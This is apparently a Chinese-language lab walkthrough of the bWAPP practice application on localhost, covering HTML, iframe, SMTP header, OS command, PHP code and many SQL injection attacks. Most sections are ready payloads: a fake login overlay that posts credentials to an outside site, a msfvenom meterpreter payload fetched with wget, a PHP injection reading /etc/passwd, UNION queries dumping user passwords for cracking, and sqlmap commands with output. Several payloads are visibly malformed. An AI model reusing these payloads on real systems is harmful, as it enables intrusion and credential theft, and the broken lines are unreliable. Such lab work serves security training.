HTML注入-反射(GET)
访问地址:
1
|
http://localhost:8088/htmli_get.php
|
在First name:和Last name: 输入:
1
|
<marquee><h2>Hello I'm IceKam!!</h2></marquee> and <img src="hacked.jpg">
|
- 意义:使用marquee标签(跑马灯)嵌套一个h2大小的文本为Hello I’m IceKam!!,和嵌套一个hacked.jpg的图片。
HTML注入-反映(POST)
访问地址:
http://localhost:8088/htmli_post.php
在First name:和Last name: 输入:
1
|
<a style=”font-size: 14px; text-decoration: none; margin: 0 auto; background: #69a229; color: white; font-weight: 400; border: 1px solid #457a04; border-radius: 4px; display: inline-block;” href=”https://www,icekam.com” target=”_blank”><span style=”display: inline-block; padding: 10px 34px;”>Click here to win IPhone99</span></a>
|
通过上面的例子,可能的攻击可能是
- a)恶意用户通过HTML注入发送邀请
- b)受害者认为这是来自应用程序本身的按钮
- c)受害者浏览器被劫持
注入上面的代码后,您将在屏幕上看到它,直到当前会话停止。你在网址中看不到任何内容。这是GET和POST注射之间的主要区别。
建议使用
HTML注入-反映(当前URL)
访问地址:
1
|
http://localhost:8088/htmli_current_url.php
|
修改post url为
1
|
http://localhost:8088/htmli_current_url.php#<h1>XSS DOM By IceKam</h1>
|
HTML注入-存储(博客)
Kali Linux下运行NC
1
|
<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:white; padding: 1em;">Please login with valid credentials:<br><form name="login" action="http://www.icekam.com/login.htm"><table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td><td><input type="text" name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit" value="Login"/></td></tr></table></form></div>
|
iFrame注射
访问地址:
1
|
http://localhost:8088/iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250
|
修改post url为
1
|
http://localhost:8088/iframei.php?ParamUrl=https://www.icekam.com&ParamWidth=250&ParamHeight=250
|
- IFRAME 源 URL 是 robots.txt,并且作为参数暴露在 URL 中,我们更改为任一URL即可复现。
LDAP注入(搜索)
访问地址:
1
|
http://localhost:8088/ldap_connect.php
|
Login:IceKam
Password:hello
Server:127.0.0.1 (需要利用的ip)
邮件头注入(SMTP)
访问地址:
1
|
http://localhost:8088/maili.php
|
post提交以下代码即可无限利用
1
|
name=Icekam&email=root%40icekam.com&remarks=test+by+icekam.&form=submit
|
- 在此示例中,攻击者正在插入换行符(\n在\r\nWindows系统上的大多数UNIX和Linux系统上),并附加一个包含附加电子邮件地址的密码SMTP标头,SMTP服务器将向BCC发送电子邮件。
- 攻击者可以使用这样的策略匿名发送大量消息,甚至发送网络钓鱼电子邮件,其中接收者认为这些消息源自可信来源。还值得注意的是,此漏洞不限于PHP; 它可能会影响任何基于任意用户输入发送电子邮件的应用程序。
OS命令注入
访问地址:
1
|
http://localhost:8088/commandi.php
|
在DNS lookup 输入:
- 以上poc为列目录命令,可以举一反三测试。
- 命令注入是一种攻击,其目标是通过易受攻击的应用程序在主机操作系统上执行任意命令。当应用程序将不安全的用户提供的数据(表单,cookie,HTTP标头等)传递给系统shell时,可能会发生命令注入攻击。
- 在此攻击中,攻击者提供的操作系统命令通常以易受攻击的应用程序的权限执行。命令注入攻击很可能主要是由于输入验证不足。
- 此攻击与代码注入不同,因为代码注入允许攻击者添加自己的代码,然后由应用程序执行。在代码注入中,攻击者扩展了应用程序的默认功能,而无需执行系统命令。
操作系统命令注入-盲目
访问地址:
1
|
http://localhost:8088/commandi_blind.php
|
使用MSFvenom生成payload 并监听
1
|
msfvenom -p php/meterpreter/bind_tcp LHOST=ipaddress LPORT=4444 > icekamtest.php
|
Enter your IP address: 提交生成的payload url即可反弹成功
1
|
wget https://www.icekam.com/icekamtest.php
|
PHP代码注入
访问地址:
1
|
http://localhost:8088/phpi.php
|
get
1
|
http://localhost:8088/phpi.php?message=a;$fp%20=%20fopen(%22/etc/passwd%22,%22r%22);$result%20=%20fread($fp,1024);%20echo%20$result
|
- 通过以上poc即可读取/etc/passwd 文件
服务器端包含(SSI)注入
访问地址:
1
|
http://localhost:8088/ssii.php
|
First name:
1
|
<script>alert(“IceKam”)</script>
|
Last name:icekam
- 以上poc为xss弹出,可以利用以下poc逐一测试。
1
2
3
|
<!--#config timefmt="%A %d %B, %Y" -->
<!--#echo var="DATE_LOCAL" -->
<!--#echo var="LAST_MODIFIED"-->
|
SQL注入(GET/Search)
访问地址:
1
|
http://localhost:8088/sqli_1.php
|
search
1
2
|
m' union all select 1,2,3,4,5,6,7 -- -
|
1
|
m' union all select 1,database(),3,4,5,6,7 -- -
|
1
|
m' union all select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database() -- -
|
1
|
m' union all select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users' and table_schema=database() -- -
|
1
|
m' union all select 1,login,password,secret,5,6,7 from users -- -
|
得到密码后可保存为txt文件,使用John破解密码。
SQL注入(GET/Select)
访问地址:
1
|
http://localhost:8088/sqli_2.php
|
1
|
http://localhost:8088/sqli_2.php?movie=1&action=go
|
1
|
http://localhost:8088/sqli_2.php?movie=11%20union%20select%201,2,3,4,5,6,7#&action=go
|
1
|
http://localhost:8088/sqli_2.php?movie=11%20union%20select%201,login,password,email,5,6,7%20from%20users#&action=go
|
得到密码后可保存为txt文件,使用John破解密码。
SQL注入(POST/搜索)
访问地址:
1
|
http://localhost:8088/sqli_6.php
|
打开burpsuite,搜索,获取http头Cookie信息。
打开sqlmap,输入以下命令测试注入。
1
|
sqlmap -u "http://localhost:8088/sqli_6.php" --data="title=&action=search" --cookie="security_level=0; PHPSESSID=7cq8h8mf1oob0jvbj767ool5a1"
|
- 以上命令可灵活运用,里面的内容为burpsuite获取的信息。
sqlmap获取到payload
1
|
title=' AND (SELECT > * FROM (SELECT(SLEEP(5)))xkdl)-- QzoS&action=search
|
1
2
3
|
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
|
SQL注入(POST/Select)
访问地址:
1
|
http://localhost:8088/sqli_13.php
|
如上打开burpsuite,搜索icekam,获取http头Cookie信息。
打开sqlmap,输入以下命令测试注入。
1
|
sqlmap -u "http://localhost:8088/sqli_13.php" --data="movie=1&action=go" --cookie="security_level=0; PHPSESSID=7cq8h8mf1oob0jvbj767ool5a1"
|
sqlmap获取到payload。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
---
Parameter: movie (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: movie=1 AND 2538=2538&action=go
Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: movie=1 AND (SELECT 2*(IF((SELECT > * FROM (SELECT CONCAT(0x716a767871,(SELECT (ELT(7421=742))),0x71627a6b71,0x78))s), 8446744073709550, 8446744073709550)))&action=go
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: movie=1 AND SLEEP(5)&action=go
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: movie=-3453 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a767871,0x5a6148414d456d664f6e7277766d47656b4c46666a4f795543464a7557425648414f6a484a474164,0x71627a6b71),NULL,NULL,NULL-- OMxs&action=go
---
|
1
2
3
|
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.0
|
SQL注入(AJAX/JSON/jQuery)
访问地址:
1
|
http://localhost:8088/sqli_10-1.php
|
如上打开burpsuite,搜索icekam,获取http头Cookie信息。
打开sqlmap,输入以下命令测试注入。
1
|
sqlmap -u "http://localhost:8088/sqli_10-2.php?title=icekam" --cookie="security_level=0; PHPSESSID=7cq8h8mf1oob0jvbj767ool5a1"
|
sqlmap获取到payload。
1
2
3
4
5
6
|
---
Parameter: title (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: title=' UNION ALL SELECT NULL,CONCAT(CONCAT('qpjjq','zuFBmsiOnBcMmpDKoJBLhtCqlatyFRXMUQgacCIk'),'qqkjq'),NULL,NULL,NULL,NULL,NULL-- Kafs
---
|
1
2
3
|
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.0
|
SQL注入(CAPTCHA)
SQL注入(登录表单/英雄)
访问地址:
1
|
http://localhost:8088/sqli_3.php
|
使用万能密码。
SQL注入(登录表单/用户)
访问地址:
1
|
http://localhost:8088/sqli_16.php
|
直接post密码
1
2
3
|
login=' and 0 UNION SELECT 1,2,'356a192b7913b04c54574d18c28d46e6395428ab',4,5,6,7,8,9#
&password=1
&form=submit
|
SQL注入(SQLite)
SQL注入(Drupal)
利用msf测试。
SQL注入-存储(博客)
访问地址:
1
|
http://localhost:8088/sqli_7.php
|
输入poc提交。
SQL注入-存储(SQLite)
SQL注入-存储(用户代理)
访问地址:
1
|
http://localhost:8088/sqli_17.php
|
如上打开burpsuite,更改User-Agent。
1
|
User-Agent: icekam',(select version()))#
|
- 以上poc即可获取操作系统版本,更多姿势可以灵活运用。
SQL注入-存储(XML)
访问地址:
1
|
http://localhost:8088/sqli_8-1.php
|
如上打开burpsuite,点击>Any bugs修改以下poc。
1
|
<reset><login>bee&test;</login><secret>Any bugs?</secret></reset>
|
SQL注入-盲-基于布尔
访问地址:
1
|
http://localhost:8088/sqli_4.php
|
post
1
|
http://localhost:8088/sqli_4.php?title=Iron Man ' and (substr((select version()),)=5) --+
|
SQL注入-盲目-基于时间
访问地址:
1
|
http://localhost:8088/sqli_15.php
|
post
1
|
http://localhost:8088/sqli_4.php?title=Iron Man' and (if((substr((select version()),)=5),sleep(5),null)) --+
|
SQL注入-盲目(SQLite)
SQL注入-盲(Web服务/SOAP)
访问地址:
1
|
http://localhost:8088/sqli_5.php
|
如上打开burpsuite,点击>go修改以下poc。
1
|
http://localhost:8088/sqli_5.php?title=Iron+Man ' and (substr((select version()),)=5) --+ &action=go
|
XML/XPath注入(登录表单)
访问地址:
1
|
http://localhost:8088/xmli_1.php
|
帐号密码,不解释。
XML/XPath注入(搜索)